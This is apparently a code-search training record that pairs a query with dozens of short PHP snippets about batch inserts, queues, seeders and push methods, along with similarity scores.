array();\n\t\t\t\t\t\t$count\t\t\t+= count($processData['objectIDs']);\n\n\t\t\t\t\t\tforeach ($processData['objectIDs'] as $key => $val)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$processedData2[] = $val;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (count($processedData1) > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$processedData = array_merge($processedData1, $processedData2);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$processedData = $processedData2;\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (exception $e)\n\t\t\t{\n\t\t\t\treturn 'Error occured while inserting records into Algolia! - ' . $e->getMessage();\n\t\t\t}\n\n\t\treturn $processedData;\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\t}", "public function batchExecute() {\n\n }", "function batch($batch) {\n if(!$batch['total']) return false;\n $batch['size'] = $batch['size'] ? $batch['size'] : 1;\n $batch['start'] = $batch['start'] ? $batch['start'] : 0;\n $batch['end'] =min($batch['total']-1, $batch['start'] + $batch['size'] - 1);\n $ret = array('status'=> $batch['end']>=$batch['total']-1 ? 'end' : 'next') ;\n $batch['next'] = $batch['end'] + 1;\n return xpAS::merge($batch, $ret);\n }", "public function add_batch($data) {\n\t\treturn $this->db->insert_batch($this->table, $data);\n\t}", "public function run()\n {\n//\t DB::table('sensor_readings')->insert([\n//\t \t'batch_id' => 1,\n//\t\t 'station_id' => 1,\n//\t\t 'sensor_id' => 1,\n//\t\t 'value' => 125,\n//\t ]);\n//\t DB::table('sensor_readings')->insert([\n//\t\t 'batch_id' => 2,\n//\t\t 'station_id' => 1,\n//\t\t 'sensor_id' => 1,\n//\t\t 'value' => 250,\n//\t ]);\n }", "function addToBatch($item, $values) {\n $item['rowValues'] = $values;\n $item['allowUpdate'] = $this->_allowEntityUpdate;\n $item['ignoreCase'] = $this->_ignoreCase;\n $this->_importQueueBatch[] = $item;\n }", "public function enqueue()\n {\n }", "public function enqueue()\n {\n }", "public function enqueue()\n {\n }", "public function enqueue()\n {\n }", "public function enqueue()\n {\n }", "public function enqueue()\n {\n }", "public function enqueue() {\n\t}", "public function run()\n {\n // truncate record\n DB::table('customers')->truncate();\n\n $customers = [\n['id' => 1, 'name' => 'paijem', 'users_id' => '1', 'ktp' => '123456789', 'phone' => '081638358973', 'address' => 'malang', 'created_at' => \\Carbon\\Carbon::now()], \n['id' => 2, 'name' => 'paijem', 'users_id' => '1', 'ktp' => '123456789', 'phone' => '081638358973', 'address' => 'malang', 'created_at' => \\Carbon\\Carbon::now()], \n['id' => 3, 'name' => 'paijem', 'users_id' => '1', 'ktp' => '123456789', 'phone' => '081638358973', 'address' => 'malang', 'created_at' => \\Carbon\\Carbon::now()], \n['id' => 4, 'name' => 'paijem', 'users_id' => '1', 'ktp' => '123456789', 'phone' => '081638358973', 'address' => 'malang', 'created_at' => \\Carbon\\Carbon::now()], \n['id' => 5, 'name' => 'paijem', 'users_id' => '1', 'ktp' => '123456789', 'phone' => '081638358973', 'address' => 'malang', 'created_at' => \\Carbon\\Carbon::now()], \n['id' => 6, 'name' => 'paijem', 'users_id' => '1', 'ktp' => '123456789', 'phone' => '081638358973', 'address' => 'malang', 'created_at' => \\Carbon\\Carbon::now()], \n ];\n\n // insert batch\n DB::table('customers')->insert($customers);\n }", "private function processing_batch()\n\t{\n\t\t// load the sync db\n\t\tee()->sync_db = ee()->load->database('sync_db', true);\n\n\t\t// find the most recent unprocessed shipments\n\t\t$query = ee()->sync_db->where('processed !=', '1')->order_by('id', 'asc')->get('orders_processed', 50);\n\n\t\t// create arrays for shipment ids and tracking numbers\n\t\t$ids_processed = array();\n\n\t\t// find our shipped status\n\t\t$status = Store\\Model\\Status::where('name', 'Processing')->first();\n\n\t\t// loop through each shipment\n\t\tforeach($query->result() as $processed)\n\t\t{\n\t\t\t// update the status of each order with the tracking numbers\n\t\t\t$order_object = Store\\Model\\Order::find($processed->order_id);\n\t\t\tif(!empty($order_object))\n\t\t\t{\n\t\t\t\t$order_object->updateStatus($status, 0, '');\n\t\t\t\t// add id to the processed array\n\t\t\t\t$ids_processed[] = $processed->id;\n\t\t\t}\n\t\t}\n\n\t\t// update the shipment records to indicate they've been processed\n\t\tif(count($ids_processed) > 0)\n\t\t{\n\t\t\tee()->sync_db->where_in('id', $ids_processed)->set('processed', 1)->update('orders_processed');\n\t\t}\t\n\t\t\n\t}", "public function pushToFareye() {\r\n Mage::getModel('marketplace/fareyedataqueue')->pushToFareye();\r\n }", "public function flushBatch()\n\t{\n\t\tif ($this->batching)\n\t\t{\n\t\t\t$this->batching = FALSE;\n\t\t\t\n\t\t\t$this->statpro->endBatch();\n\t\t}\n\t}", "public function store(CreateBatchRequest $request)\n {\n try {\n $batch = new Batch($request->all());\n $batch->save();\n activity()->causedBy(Auth::user())->performedOn($batch)->withProperties($batch)->log('Created Successfully');\n } catch (JWTException $e) {\n throw new HttpException(500);\n }\n return response()->json($batch);\n }", "function enqueue(){\n\t\t}", "public function handle()\n {\n $stores = Config::get('amazon-mws.store');\n\n $pendingSkus = MarketplaceSkuMapping::where('process_status', '&', self::PENDING_PRICE)\n ->where('marketplace_sku_mapping.listing_status', '=', 'Y')\n ->where('marketplace_id', 'like', '%AMAZON')\n ->get();\n\n $pendingSkuGroups = $pendingSkus->groupBy('mp_control_id');\n\n foreach ($pendingSkuGroups as $mpControlId => $pendingSkuGroup) {\n $marketplaceControl = MpControl::find($mpControlId);\n $marketplace = $marketplaceControl->marketplace_id.$marketplaceControl->country_id;\n\n $xml = '<?xml version=\"1.0\" encoding=\"UTF-8\"?>';\n $xml .= '<AmazonEnvelope xsi:noNamespaceSchemaLocation=\"amzn-envelope.xsd\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">';\n $xml .= '<Header>';\n $xml .= '<DocumentVersion>1.01</DocumentVersion>';\n $xml .= '<MerchantIdentifier>'.$stores[$marketplace]['merchantId'].'</MerchantIdentifier>';\n $xml .= '</Header>';\n $xml .= '<MessageType>Price</MessageType>';\n\n foreach ($pendingSkuGroup as $index => $pendingSku) {\n $messageDom = '<Message>';\n $messageDom .= '<MessageID>'.++$index.'</MessageID>';\n $messageDom .= '<Price>';\n $messageDom .= '<SKU>'.$pendingSku->marketplace_sku.'</SKU>';\n $messageDom .= '<StandardPrice currency=\"DEFAULT\">'.$pendingSku->price.'</StandardPrice>';\n $messageDom .= '</Price>';\n $messageDom .= '</Message>';\n\n $xml .= $messageDom;\n }\n\n $xml .= '</AmazonEnvelope>';\n\n $platformProductFeed = new PlatformProductFeed();\n $platformProductFeed->platform = $marketplace;\n $platformProductFeed->feed_type = '_POST_PRODUCT_PRICING_DATA_';\n\n $feed = new AmazonFeed($marketplace);\n $feed->setFeedType('_POST_PRODUCT_PRICING_DATA_');\n $feed->setMarketplaceIds($stores[$marketplace]['marketplaceId']);\n $feed->setFeedContent($xml);\n\n if ($feed->submitFeed() === false) {\n $platformProductFeed->feed_processing_status = '_SUBMITTED_FAILED';\n } else {\n $pendingSkuGroup->transform(function ($pendingSku) {\n $pendingSku->process_status ^= self::PENDING_PRICE;\n $pendingSku->process_status |= self::COMPLETE_PRICE;\n $pendingSku->save();\n });\n $response = $feed->getResponse();\n $platformProductFeed->feed_submission_id = $response['FeedSubmissionId'];\n $platformProductFeed->submitted_date = $response['SubmittedDate'];\n $platformProductFeed->feed_processing_status = $response['FeedProcessingStatus'];\n }\n $platformProductFeed->save();\n }\n }", "public function testSendInvoiceToBatchSuccessfulSendViaSendThreshold()\n {\n $validator = new InvoiceValidator();\n $invoice = Invoice::load($this->getValidInvoiceData()[0], $validator);\n\n $results = [\n # Result for GetQueueUrl command\n new Result(['QueueUrl' => 'my-queue-url']),\n # Result for SendMessageBatch command for first batch of 10\n new Result([]),\n # Result for SendMessageBatch command for the final batch of 1\n new Result([])\n ];\n\n $sqsQueue = $this->getSqsQueueInstance($results);\n\n for ($i = 0; $i < (SqsQueue::SEND_BATCH_SIZE + 1); $i++) {\n $invoice->setInvoiceId($invoice->getInvoiceId() . '-' . $i);\n $sqsQueue->sendInvoiceToBatch($invoice, $validator);\n }\n\n # Destroy the object. This should trigger the final batch send.\n unset($sqsQueue);\n\n # Confirm the stack is empty (ie. that the API calls HAVE been made)\n $this->assertEquals(0, $this->getAwsMockHandlerStackCount());\n }", "public function actionPush(){\n\t\t$postData = CJSON::decode(file_get_contents('php://input'));\n\t\tif($postData['device_id'] && $postData['status']){\n\t\t\t$criteria = new CDbCriteria;\n\t\t\t$criteria->addInCondition('device_id', array($postData['device_id']));\n\t\t\t$device = NeDevice::model()->find($criteria);\n\t\t\tif($device){\n\t\t\t\t$device->enable = $postData['status'];\n\t\t\t\t$device->save();\n\t\t\t}\n\t\t}\n\t}", "public function queue() {\n\t\t$this->prepareMessage();\n\t\t$this->queueRepository->add($this->toArray());\n\t}", "function persist($batch)\n {\n // TODO: Implement persist() method.\n }", "public function batch($value) {\n return $this->setProperty('batch', $value);\n }", "public final function onNextRecord()\n {\n $this->lots = false;\n $this->setRecord($this->getCurrentRecord(), true);\n if ($this->isLoaded()) {\n $this->transactionId = $this->getId() . date('YmdHis');\n $this->addresses = false;\n }\n }", "public function batchProcessRecord($item, &$context);", "public function push($obj)\r\n\t{\r\n\t\t$this->isLoaded = true;\r\n\t\t$this->keyAssocation[$obj->get($this->obj->primaryKey)] = $this->count++;\r\n\t\t$this->elements[] = $obj;\r\n\t}", "public function startBatch() {\n if ($this->isBatch) {\n throw new JsonRpcException('Batch operation already in progress, execute it by calling executeBatch() or cancel it by calling discardBatch()');\n }\n\n $this->batchRequests = [];\n $this->isBatch = true;\n\n return $this;\n }", "public function run()\n {\n DB::table('in_carts')->insert([\n [\n 'customer_id' =>1,\n 'product_id' =>1,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s')\n ],\n [\n 'customer_id' =>2,\n 'product_id' =>1,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s')\n ],\n [\n 'customer_id' =>3,\n 'product_id' =>5,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s')\n ],\n ]);\n\n }", "public static function enqueue();", "public function push($queries);", "public function push() {\n\t\t$this->save();\n\n\t\t// To sync all of the relationships to the database, we will simply spin through\n\t\t// the relationships, calling the \"push\" method on each of the models in that\n\t\t// given relationship, this should ensure that each model is saved.\n\t\tforeach ($this->relationships as $name => $models) {\n\t\t\tif ( ! is_array($models)) {\n\t\t\t\t$models = array($models);\n\t\t\t}\n\n\t\t\tforeach ($models as $model) {\n\t\t\t\t$model->push();\n\t\t\t}\n\t\t}\n\t}", "public function store(Request $request)\n {\n $input = $request->all();\n $validator = Validator::make($input, [\n 'name' => 'required'\n ]);\n\n if ($validator->fails()) {\n $errors = $validator->errors();\n return back()->with('error', $errors->first());\n }\n $input['created_by'] = Auth::user()->id;\n\n Batch::create($input);\n \n return redirect(route($this->common.'.index'))->with('success', $this->create);\n }", "public function importDataOLT()\n {\n $data = $this->varBatchImportOLT;\n $this->db->insert_batch('rekap_data_olt', $data);\n }", "function insertThisBatch($db) {\n\t\t$now=date(\"Y-m-d H:i:s\");\n\t\t$db->query(\"INSERT INTO batch (time) VALUES ('$now')\");\n\t\treturn $db->insert_id;\n\t}", "public function testConnectionPropertyCreatesBatchInsertObject()\n {\n $batch_insert = $this->connection->batchInsert('writers', ['name', 'birthday']);\n\n $this->assertInstanceOf(BatchInsertInterface::class, $batch_insert);\n\n $this->assertEquals('writers', $batch_insert->getTableName());\n $this->assertEquals(['name', 'birthday'], $batch_insert->getFields());\n $this->assertEquals(50, $batch_insert->getRowsPerBatch());\n $this->assertEquals(ConnectionInterface::INSERT, $batch_insert->getMode());\n }", "public function streamAction()\n {\n $env = $this->getEnvironment();\n $this->setProcessTitle('IcingaDB Event Stream');\n $streamer = new IcingaEventToRedisStreamer($env->getCoreApi());\n $streamer->stream();\n }", "public function flush($event)\n {\n $this->dispatch($event .'_pushed');\n }", "public function store(Request $request , Batch $batch)\n {\n $batch->name = $request->name;\n $batch->shift_time = $request->shift_time;\n $batch->save();\n return redirect()->back()->with('create', 'New Batch create');\n\n }", "public function batchProcess($queueId);", "public function start_batch($amount): array\n {\n return $this->record_batch($amount);\n }", "function add_Batch($params){\n $this->company_db = $this->load->database('company_db', TRUE);\n // print_r($params);exit();\n $this->company_db->set('data_created', 'NOW()', FALSE);\n $this->company_db->insert('tbl_mdist_batch', $params);\n // echo $this->company_db->last_query();exit;\n return $this->company_db->insert_id();\n }", "private function getNextBatch()\n {\n\n $statusFilter = $this->objectManager->create('Magento\\Framework\\Api\\Filter');\n $statusFilter->setData('field', 'status');\n $statusFilter->setData('value', 0);\n $statusFilter->setData('condition_type', 'eq');\n\n $statusFilterGroup = $this->objectManager->create('Magento\\Framework\\Api\\Search\\FilterGroup');\n $statusFilterGroup->setData('filters', [$statusFilter]);\n\n\n $priorityFilter = $this->objectManager->create('Magento\\Framework\\Api\\Filter');\n $priorityFilter->setData('field', 'priority');\n $priorityFilter->setData('value', $this->crawlThreshold);\n $priorityFilter->setData('condition_type', 'gteq');\n\n $priorityFilterGroup = $this->objectManager->create('Magento\\Framework\\Api\\Search\\FilterGroup');\n $priorityFilterGroup->setData('filters', [$priorityFilter]);\n\n\n $sortOrder = $this->objectManager->create('Magento\\Framework\\Api\\SortOrder');\n $sortOrders = [\n $sortOrder->setField('priority')->setDirection(\\Magento\\Framework\\Api\\SortOrder::SORT_DESC)\n ];\n\n /** @var \\Magento\\Framework\\Api\\SearchCriteriaInterface $search_criteria */\n $search_criteria = $this->objectManager->create('Magento\\Framework\\Api\\SearchCriteriaInterface');\n $search_criteria ->setFilterGroups([$statusFilterGroup, $priorityFilterGroup])\n ->setPageSize($this->batchSize)\n ->setCurrentPage(1)\n ->setSortOrders();\n\n $search_criteria->setSortOrders($sortOrders);\n\n $this->queue = $this->pageRepository->getList($search_criteria);\n }", "public function __invoke()\n {\n foreach ($this->identityMap as $eventSourcedAggregateRoot) {\n $pendingStreamEvents = $this->aggregateTranslator->extractPendingStreamEvents($eventSourcedAggregateRoot);\n\n if (count($pendingStreamEvents)) {\n $this->streamStrategy->appendEvents(\n $this->aggregateType,\n $this->aggregateTranslator->extractAggregateId($eventSourcedAggregateRoot),\n $pendingStreamEvents,\n $eventSourcedAggregateRoot\n );\n }\n }\n }", "public function run()\n {\n $data = [\n [\n 'description' => 'Pop',\n 'value' => 5.00,\n 'merchant' => 1\n ],\n [\n 'description' => 'Burguer',\n 'value' => 25.00,\n 'merchant' => 2\n ]\n ];\n\n $this->table('products')\n ->insert($data)\n ->save();\n }", "public function insert_batch($table_name,$data)\n\t{\n\t\t$this->db->insert_batch($table_name, $data);\t\t \t\n\t\treturn $this->db->insert_id();\t\t \t\n\t}", "function addItemForInsert($item, $batch_id=null) {\n if($batch_id != null) {\n $this->_insert[$batch_id] = $item;\n } else {\n $this->_insert[] = $item;\n }\n }", "public function pushOn($queue, $job, $data = '');", "function durp_import_batch_run(&$context) {\n $queue = DrupalQueue::get('durp');\n\n if (empty($context['sandbox'])) {\n $context['sandbox']['done'] = 0;\n $context['sandbox']['max'] = $queue->numberOfItems();\n }\n\n if ($item = $queue->claimItem()) {\n _durp_map_node($item->data->id, $item->data->xml);\n $queue->deleteItem($item);\n ++$context['sandbox']['done'];\n }\n else {\n $context['sandbox']['max'] = $context['sandbox']['done'];\n }\n\n $context['message'] = t('Imported @count items.', array(\n '@count' => $context['sandbox']['done'],\n ));\n $context['finished'] = $context['sandbox']['done'] >= $context['sandbox']['max'];\n if ($context['finished']) {\n $context['results']['count'] = $context['sandbox']['done'];\n }\n}", "public function run()\n {\n \t$lineprocesses = $this->getData();\n foreach ($lineprocesses as $key => $lineprocess ) {\n \t$id = $lineprocess->id;\n \tLineprocessStart::insert([\n \t\t'lineprocess_id' => $id,\n \t\t'start_id' => $id,\n \t]);\n }\n }", "public function storeBatch(AdminNewVoucherRequest $request): RedirectResponse\n {\n // Setup some variables\n $input = $request->all();\n $sponsor = Sponsor::findOrFail($input['sponsor_id']);\n $now_time = Carbon::now();\n $maxStep = 1000;\n // We're going to ignore what they typed and use the calculated serials.\n $start = $input['start-serial'];\n $end = $input['end-serial'];\n\n // Calculate the number of codes we need\n $numCodes = $end - $start;\n\n $step = 1;\n if ($numCodes > 1) {\n // Calculate the step, max = $maxStep.\n $step = ($numCodes < $maxStep)\n ? $numCodes\n : $maxStep;\n }\n\n // Setup the chunks\n $chunks = range(\n $start,\n $end,\n $step\n );\n\n // Add the range to the end.\n if (!in_array($end, $chunks)) {\n $chunks[] = $end;\n }\n\n // For each chunk, create the integers in that set.\n foreach ($chunks as $k => $chunkStart) {\n // Reset New Vouchers\n $new_vouchers = [];\n\n $chunkEnd = (isset($chunks[$k + 1]))\n ? $chunks[$k + 1] - 1\n : $end;\n $currentChunk = range($chunkStart, $chunkEnd);\n\n foreach ($currentChunk as $c) {\n $v = new Voucher();\n $v->code = $sponsor->shortcode .\n // String pad to *5* places, eg 00001 to 09999 to 10000 to 10001\n str_pad(\n $c,\n 5,\n \"0\",\n STR_PAD_LEFT\n );\n $v->sponsor_id = $sponsor->id;\n $v->currentstate = 'printed';\n $v->created_at = $now_time;\n $v->updated_at = $now_time;\n $new_vouchers[] = $v->attributesToArray();\n unset($v);\n }\n // Batch insert raw vouchers.\n // Todo : there's NO \"this voucher already exists\" checking!!\n Voucher::insert($new_vouchers);\n }\n\n $notification_msg = trans('service.messages.vouchers_create.success', [\n 'shortcode' => $sponsor->shortcode,\n 'start' => $request['start'],\n 'end' => $request['end'],\n ]);\n\n return redirect()\n ->route('admin.vouchers.index')\n ->with('notification', $notification_msg);\n }", "public function handleBatch(array $records)\n {\n }", "private function product_batch()\n\t{\n\t\t// add call to trigger datagrab here\n\t\t//file_get_contents(ee()->config->item('base_url') . '?ACT=25&id=9');\n\n\t\tee()->sync_db = ee()->load->database('sync_db', true);\n\t\t$update_count = ee()->sync_db->count_all_results('products');\n\n\t\tif($update_count > 0)\n\t\t{\t\n\t\t\t// create curl resource \n\t $ch = curl_init(); \n\n\t // set url \n\t curl_setopt($ch, CURLOPT_URL, ee()->config->item('base_url') . '?ACT=25&id=' . ee()->config->item('integration_product_import_id')); \n\t curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); \n\t curl_setopt($ch, CURLOPT_TIMEOUT, 300); \n\t curl_exec($ch); \n\t curl_close($ch);\n \t}\n\t}", "private function insertBatch($file,$status)\n\t{\n\t\tif(filesize($file))\n\t\t{\n\t\t$fp = fopen($file, 'r');\n\t\t$batch_data = fread($fp,filesize($file));\n\t\tfclose($fp);\n\t\t\n\t\t$compressed_batch_data = pack('L', strlen($batch_data)) . gzcompress($batch_data);\n\n\t\t// This isn't necessary with a prepared query\n\t\t//$batch_data = Mqgcp_Escape($batch_data);\n\n\t\t$query = '-- /* SQL LOCATED IN file=' . __FILE__ . ' line=' . __LINE__ . ' method=' . __METHOD__ . \" */\n\t\tINSERT INTO certegy_batch \n\t\t\t(batch_type, batch_status, batch_data)\n\t\tVALUES\n\t\t\t('Send',?, ?)\n\t\t\";\n\t\t\n\t\t$stmt = $this->mysqli->Prepare($query);\n\t\t$stmt->bind_param('ss',$status, $compressed_batch_data);\n\t\t\n\t\t$stmt->execute();\n\t\t$id = $this->mysqli->Insert_Id();\n\t\t\n\t\t$stmt->close();\t\t\n\n\t\treturn $id;\t\n\t\t}\t\n\n\t}", "public function addBatchMessage(Destination $dest, Message $msg): void\n {\n $this->amqpPublish($dest, $msg, true);\n }", "public function insertBatch($table, array $dataSet)\n {\n $this->enqueue(Operation::OP_INSERT, $table, $dataSet);\n\n return $this;\n }", "public function requestBatchSatus($batchId);", "private function shipping_batch()\n\t{\n\t\t// load the sync db\n\t\tee()->sync_db = ee()->load->database('sync_db', true);\n\n\t\t// find the most recent unprocessed shipments\n\t\t$query = ee()->sync_db->where('processed !=', '1')->order_by('id', 'asc')->get('orders_shipping', 200);\n\n\t\t// create arrays for shipment ids and tracking numbers\n\t\t$ids_processed = array();\n\n\t\t// find our shipped status\n\t\t$status = Store\\Model\\Status::where('name', 'Shipped')->first();\n\n\t\t// load the order_map config file\n\t\tinclude_once dirname(dirname(__FILE__)).'/bmi_custom/config/order_map.php';\n\n\t\t// loop through each shipment\n\t\tforeach($query->result() as $shipment)\n\t\t{\n\t\t\t// add id to the processed array\n\t\t\t$ids_processed[] = $shipment->id;\n\n\t\t\tif(!empty($shipping_carriers[$shipment->carrier]))\n\t\t\t{\n\t\t\t\t$tracking = $shipping_carriers[$shipment->carrier] .'|'. $shipment->tracking_number;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$tracking = $shipment->tracking_number;\n\t\t\t}\t\n\n\t\t\t// update the status of each order with the tracking numbers\n\t\t\t$order_object = Store\\Model\\Order::find($shipment->order_id);\n\t\t\t$order_object->updateStatus($status, 0, $tracking);\n\n\t\t}\n\n\t\t// update the shipment records to indicate they've been processed\n\t\tif(count($ids_processed) > 0)\n\t\t{\n\t\t\tee()->sync_db->where_in('id', $ids_processed)->set('processed', 1)->update('orders_shipping');\n\t\t}\t\n\t\t\n\t\t\n\t}", "public function bulkInsert()\n {\n DB::table($this->dbTable)\n ->insert($this->insertUpdateArray);\n }", "public function store(Request $request)\n {\n if(sizeof(Batch::$rules) > 0)\n $this->validateRequestOrFail($request, Batch::$rules);\n\n $input = $request->all();\n\n $batches = $this->batchRepository->create($input);\n\n return $this->sendResponse($batches->toArray(), \"Batch saved successfully\");\n }", "function pushState(): void\n {\n $this->stateStack[] = [$this->valid, $this->offset, $this->index, $this->current];\n }", "function get_item_batch()\n\t{\n\t\tif ($_SERVER['REQUEST_METHOD'] == 'POST') {\n\n\t\t\t// $tableName = \"london_stock\";\n\t\t\t// $condition = array();\n\t\t\t$result = $this->CustomModel->get_batch_number();\n\t\t\tif ($result > 0) {\n\t\t\t\techo $response = json_encode($result, true);\n\t\t\t} else {\n\t\t\t\techo $response = json_encode(array('message' => 'No batch', 'type' => 'danger'), true);\n\t\t\t}\n\t\t}\n\t}", "public function push($zone, $file, $datasource = null);", "function pushOffset() {\n log::trace(\"Path offset pushed\");\n $this->sectionOffset++;\n $this->pageOffset++;\n }", "public function testSendInvoiceToBatchOnSendMessageBatchCallable()\n {\n $validator = new InvoiceValidator();\n $successInvoice = Invoice::load($this->getValidInvoiceData()[0], $validator);\n $failedInvoice = Invoice::load($this->getValidInvoiceData()[1], $validator);\n\n $results = [\n # Result for GetQueueUrl command\n new Result(['QueueUrl' => 'my-queue-url']),\n # Result for SendMessageBatch command for first batch of 10\n new Result([\n 'Successful' => [0 => ['Id' => $successInvoice->getInvoiceId()]],\n 'Failed' => [0 => ['Id' => $failedInvoice->getInvoiceId()]]\n ])\n ];\n\n $sqsQueue = $this->getSqsQueueInstance($results);\n\n # Use SqsQueueCallbackTester to test the callback\n $callbackTester = new SqsQueueCallbackTester();\n $sqsQueue->setOnSendMessageBatchCallback($callbackTester);\n\n $sqsQueue\n ->sendInvoiceToBatch($successInvoice, $validator)\n ->sendInvoiceToBatch($failedInvoice, $validator);\n\n # Destroy the object. This should trigger the final batch send.\n unset($sqsQueue);\n\n # Confirm that the successful and failed invoices were passed to the\n # SqsQueueCallbackTester instance\n $this->assertEquals(1, count($callbackTester->successfulInvoices));\n $this->assertEquals($successInvoice, $callbackTester->successfulInvoices[0]);\n $this->assertEquals(1, count($callbackTester->failedInvoices));\n $this->assertEquals($failedInvoice, $callbackTester->failedInvoices[0]);\n\n # Confirm the stack is empty (ie. that the API calls HAVE been made)\n $this->assertEquals(0, $this->getAwsMockHandlerStackCount());\n }", "public function run($request)\n {\n $jobID = $request->getVar('id');\n\n if (!$jobID) {\n $this->exitWithError('No job id is given');\n }\n\n /* @var $job BatchUploadJob */\n $job = BatchUploadJob::get()->byID($jobID);\n if ($job->Status !== BatchUploadJob::STATUS_PENDING) {\n $this->exitWithError('This job is not under PENDING status');\n }\n\n $job->Status = BatchUploadJob::STATUS_PROCESSING;\n $job->write();\n\n $playlist = $job->Playlist();\n $files = $job->StreamFiles();\n foreach ($files as $file) {\n /* @var $file File */\n echo 'Processing File: ' . $file->getFilename() . \"\\n\";\n\n try {\n $song = Song::create();\n $song->StreamFile = $file;\n $info = $song->getID3Info();\n foreach ($info as $key => $value) {\n $song->$key = $value;\n }\n $song->write();\n $song->StreamFile->owner->publishRecursive();\n\n // add to playlist if need\n if ($playlist->exists()) {\n $playlist->addSong($song);\n }\n\n /** @noinspection IncrementDecrementOperationEquivalentInspection */\n $job->ProcessedNumberOfFiles += 1;\n $job->write();\n } catch (\\Exception $e) {\n $job->Status = BatchUploadJob::STATUS_ERROR;\n $job->Remark = $e->getMessage();\n $job->write();\n $this->exitWithError($e);\n }\n }\n\n $job->Status = BatchUploadJob::STATUS_FINISHED;\n $job->write();\n }", "public function storeIncomingData() {}", "function add_stream($params)\n {\n $this->db->insert('streams', $params);\n return $this->db->insert_id();\n }", "public function PushRow() {\n $this->PushOutput($this->currow);\n// if (is_callable(array($this,$this->curtpl)))\n call_user_func(array($this,$this->curtpl), $this);\n }", "public function push($key, $data);", "public function add(BatchOperation $operation)\n {\n $this->batch[] = $operation;\n }", "public function flush($desired_batch_size = 50) {\n $this->_events->flush($desired_batch_size);\n }", "public function handle()\n {\n ini_set('memory_limit','2048');\n $institutions = $this->instituions->all()->chunk(50)->toArray();\n array_walk($institutions,array($this,'addInstitutionStudents'));\n }", "public function queue()\n {\n $em = $this->getEntityManager();\n\n $task = new EventConsequenceTask();\n $task->setConsequence($this->entity);\n\n $em->persist($task);\n $em->flush();\n }", "public function log($bundle, $name, $batch)\n\t{\n\t\t$this->table()->insert(compact('bundle', 'name', 'batch'));\n\t}", "public function insert_batch($teamLhp) {\n\t\t$this->db->insert_batch(\"tim_lhp\", $teamLhp);\n\t}", "public function postFlush()\n {\n $currentDeepLevel = $this->deepLevel;\n\n if (!empty($this->entitiesScheduledForWorkflowStart[$currentDeepLevel])) {\n $this->deepLevel++;\n $massStartData = $this->entitiesScheduledForWorkflowStart[$currentDeepLevel];\n unset($this->entitiesScheduledForWorkflowStart[$currentDeepLevel]);\n $this->workflowManager->massStartWorkflow($massStartData);\n $this->deepLevel--;\n }\n }", "private function enqueue($op, $table, array $dataSet)\n {\n foreach ($dataSet as $data) {\n if ($op === Operation::OP_DELETE) {\n $this->mutations[] = $this->operation->deleteMutation($table, $data);\n } else {\n $this->mutations[] = $this->operation->mutation($op, $table, $data);\n }\n }\n }", "public function enqueue($item)\n {\n array_push($this->array, $item);\n }", "public function push(string $prefix)\n {\n array_push($this->stack, $prefix);\n }" ]
[ "0.64421576", "0.58860666", "0.5797348", "0.5692955", "0.5488409", "0.5457554", "0.5418788", "0.5239175", "0.5239175", "0.5235229", "0.5234277", "0.5188104", "0.51825935", "0.511432", "0.5087661", "0.5049727", "0.5038944", "0.50328493", "0.50093377", "0.5002154", "0.4977482", "0.49658883", "0.49316093", "0.4893761", "0.4881629", "0.4857457", "0.4857457", "0.4857457", "0.4857457", "0.4857457", "0.4857457", "0.48524025", "0.48463345", "0.4832734", "0.4808674", "0.47843486", "0.47839782", "0.47614583", "0.4734318", "0.4728354", "0.47147012", "0.4711995", "0.46917757", "0.46774316", "0.4674743", "0.46714172", "0.46551403", "0.46544877", "0.46502843", "0.4645772", "0.46433592", "0.4639416", "0.46387938", "0.46244413", "0.46147385", "0.461305", "0.46090424", "0.45607477", "0.4550536", "0.45396486", "0.45376873", "0.45344406", "0.45232746", "0.45137635", "0.45067474", "0.45033938", "0.44981858", "0.4497171", "0.44897407", "0.44843915", "0.4484353", "0.44824636", "0.4479496", "0.44743562", "0.44697472", "0.446421", "0.44594648", "0.44572142", "0.44542977", "0.44468263", "0.44374585", "0.4432935", "0.44242576", "0.44231012", "0.44212046", "0.4419837", "0.44178247", "0.4407009", "0.4402666", "0.4402185", "0.4392339", "0.43876904", "0.4383653", "0.43821454", "0.43762788", "0.43742624", "0.4371096", "0.43668327", "0.43651515", "0.43624407" ]
0.7708478
0
Display a listing of the resource.
public function index() { // Get Categorys $categories = CategoryWiseSpecification::orderBy('created_at', 'desc')->Where('active', 1)->paginate(100); // Return collection of Categorys as a resource return CategoryWiseSpecificationResouerce::collection($categories); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return 